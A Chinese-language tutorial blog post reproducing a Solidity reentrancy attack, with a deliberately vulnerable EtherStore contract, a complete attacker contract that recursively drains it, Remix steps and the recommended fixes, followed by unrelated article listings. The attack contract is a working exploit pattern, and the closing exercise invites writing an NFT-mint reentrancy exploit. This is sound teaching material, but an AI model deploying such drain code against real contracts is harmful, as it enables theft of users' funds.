news 2026/6/25 15:03:44

智能合约安全审计:复现“重入攻击 (Reentrancy)”,一行代码是如何盗走 1000 ETH 的?

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
智能合约安全审计:复现“重入攻击 (Reentrancy)”,一行代码是如何盗走 1000 ETH 的?

标签:#Web3Security #Solidity #Reentrancy #SmartContract #Blockchain #Audit


🏦 前言:银行柜员的失误

想象一个现实场景:
你去银行取钱。

  1. 检查:柜员查账,发现你有 100 元。
  2. 交互:柜员把 100 元现金递给你。
  3. 生效:柜员拿起笔,准备在账本上把你账户扣除 100 元。

重入攻击就在第 2 步和第 3 步之间发生了。
当你接过钱的瞬间(第 2 步刚开始,第 3 步还没做),你大喊一声:“嘿,我还要取 100 元!”
柜员因为还没来得及改账本,一看账上还是 100 元,于是递给你 100 元。
如此循环,直到银行金库被你搬空。

攻击流程图 (Mermaid):

受害者合约 (Bank)攻击者合约受害者合约 (Bank)攻击者合约初始状态: Hacker 存款 1 ETH, Bank 总余额 100 ETH触发 fallback() 函数!⚠️ 余额还没扣除! 依然显示有 1 ETH结果: Hacker 取走 2 ETH (甚至更多), 只扣了 1 次钱1. withdraw(1 ETH)检查余额: Hacker 有 1 ETH (Pass)2. 发送 1 ETH (使用 call)3. 再次调用 withdraw(1 ETH)4. 又发送 1 ETH5. 修改余额 (太晚了!)

💀 一、 漏洞复现:受害者合约 (EtherStore)

这是一个典型的“先转账,后扣款”的错误写法。

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract EtherStore { mapping(address => uint256) public balances; // 存钱 function deposit() public payable { balances[msg.sender] += msg.value; } // 取钱 (漏洞在这里!) function withdraw() public { uint256 bal = balances[msg.sender]; require(bal > 0, "No balance"); // ❌ 错误做法:先转账 (Interaction) // 使用 call 发送 ETH 会将所有剩余 Gas 转发给接收方,允许对方执行复杂逻辑 (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); // ❌ 错误做法:后扣款 (Effect) // 这一行在攻击发生时,还没来得及执行 balances[msg.sender] = 0; } // 查看金库总余额 function getBalance() public view returns (uint256) { return address(this).balance; } }

⚔️ 二、 编写攻击脚本:黑客合约 (Attack)

黑客合约利用 Solidity 的fallbackreceive函数机制。当它收到 ETH 时,这些函数会自动触发。

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./EtherStore.sol"; contract Attack { EtherStore public etherStore; constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } // 1. 回调函数:当收到 ETH 时自动触发 fallback() external payable { if (address(etherStore).balance >= 1 ether) { // 🔥 核心攻击逻辑:在收到钱的瞬间,递归调用 withdraw etherStore.withdraw(); } } // 2. 攻击入口 function attack() external payable { require(msg.value >= 1 ether, "Need 1 ETH to start attack"); // 先存 1 ETH 进去,获得“入场券” etherStore.deposit{value: 1 ether}(); // 发起第一次提款 etherStore.withdraw(); } // 3. 销赃:把偷来的钱转给黑客钱包 function collectEther() external { payable(msg.sender).transfer(address(this).balance); } }

🕵️‍♂️ 三、 实战步骤 (Remix)

  1. 部署 EtherStore
  • 部署受害者合约。
  • 切换其他账户(如 Account 2, Account 3),分别deposit10 ETH。此时金库有 20 ETH。
  1. 部署 Attack
  • 切换回黑客账户(Account 1)。
  • 部署 Attack 合约,构造函数填入 EtherStore 的地址。
  1. 发动攻击
  • 在 Attack 合约的attack函数中填入1 Ether
  • 点击transact
  1. 见证奇迹
  • 查看EtherStore的余额:变成了0
  • 查看Attack的余额:变成了21 ETH(本金 1 + 偷来的 20)。

现象解释:
你会发现在那一笔交易中,黑客合约像抽水机一样,利用那 1 ETH 的本金,反复循环调用withdraw,直到把受害者合约的余额抽干,循环才停止(触发fallback中的if判断)。


🛡️ 四、 防御方案:如何修复?

修复重入攻击主要有两种方法。

方案 A:检查-生效-交互 (Checks-Effects-Interactions)

这是 Solidity 编程的黄金法则。永远先修改状态变量,再进行外部调用。

function withdraw() public { uint256 bal = balances[msg.sender]; require(bal > 0); // ✅ 1. Check (已在上面) // ✅ 2. Effect (先扣款!) balances[msg.sender] = 0; // ✅ 3. Interaction (再转账) (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); }

即使黑客再次重入,因为balances[msg.sender]已经被清零,require(bal > 0)会直接拦截请求。

方案 B:重入锁 (ReentrancyGuard)

使用 OpenZeppelin 提供的修饰符,给函数上锁。

import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract EtherStore is ReentrancyGuard { // 增加 nonReentrant 修饰符 function withdraw() public nonReentrant { uint256 bal = balances[msg.sender]; // ... 逻辑 ... } }

原理:进入函数前将锁置为TRUE,执行完置为FALSE。如果你在执行过程中试图再次进入,发现锁是TRUE,直接报错。


🎯 总结

重入攻击是 Web3 安全的入门必修课。它警示我们:在区块链世界,任何外部合约调用(Call)都是不可信的。

作为开发者,必须养成**“状态修改前置”**的肌肉记忆,或者做一名“复制粘贴工程师”,老老实实继承 OpenZeppelin 的ReentrancyGuard

Next Step:
现在的攻击是针对ETH转账的。你去研究一下ERC-721 (NFT)onERC721Received函数,或者ERC-1155协议,它们同样存在重入风险。尝试写一个针对 NFT 铸造(Mint)的重入攻击脚本,看看能不能一次 Gas 费铸造出 100 个 NFT?

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/19 18:12:28

12.1 全身动力学与任务空间控制:基于零空间投影的层级化任务实现

12.1 全身动力学与任务空间控制:基于零空间投影的层级化任务实现 12.1.1 引言:人形机器人全身控制的范式转变 传统工业机械臂的控制通常围绕单一的末端执行器任务(如轨迹跟踪)展开,其控制目标明确且自由度有限。然而,人形机器人是一个具有高度运动冗余(通常拥有30个以…

作者头像 李华
网站建设 2026/6/24 13:53:38

【开题答辩全过程】以 宜居房屋交易系统为例,包含答辩的问题和答案

个人简介一名14年经验的资深毕设内行人,语言擅长Java、php、微信小程序、Python、Golang、安卓Android等开发项目包括大数据、深度学习、网站、小程序、安卓、算法。平常会做一些项目定制化开发、代码讲解、答辩教学、文档编写、也懂一些降重方面的技巧。感谢大家的…

作者头像 李华
网站建设 2026/6/23 18:31:49

ssm474的高校运动会管理网站

目录高校运动会管理网站(SSM474)摘要开发技术源码文档获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!高校运动会管理网站(SSM474)摘要 高校运动会管理网站基于SSM框架(SpringSpringMV…

作者头像 李华
网站建设 2026/6/14 23:08:07

Python 使用 Chainlit + Ollama 快速搭建本地 AI 聊天应用

使用 Chainlit Ollama 快速搭建本地 AI 聊天应用 大家好!今天分享一个超级简单的本地 AI 聊天界面实现方案:Chainlit Ollama。 无需部署复杂的后端,只需本地运行 Ollama,再用几行 Python 代码,就能拥有一个支持模型切…

作者头像 李华
网站建设 2026/6/14 23:09:35

单位冲击函数和单位冲击响应

这是一个信号与系统、控制理论以及工程数学中的核心概念。我们来系统地梳理一下单位冲击函数(狄拉克δ函数)和单位冲击响应的定义与性质。一、 单位冲击函数 (Unit Impulse Function) - δ(t) 单位冲击函数δ(t)是一个广义函数或分布,它不是通…

作者头像 李华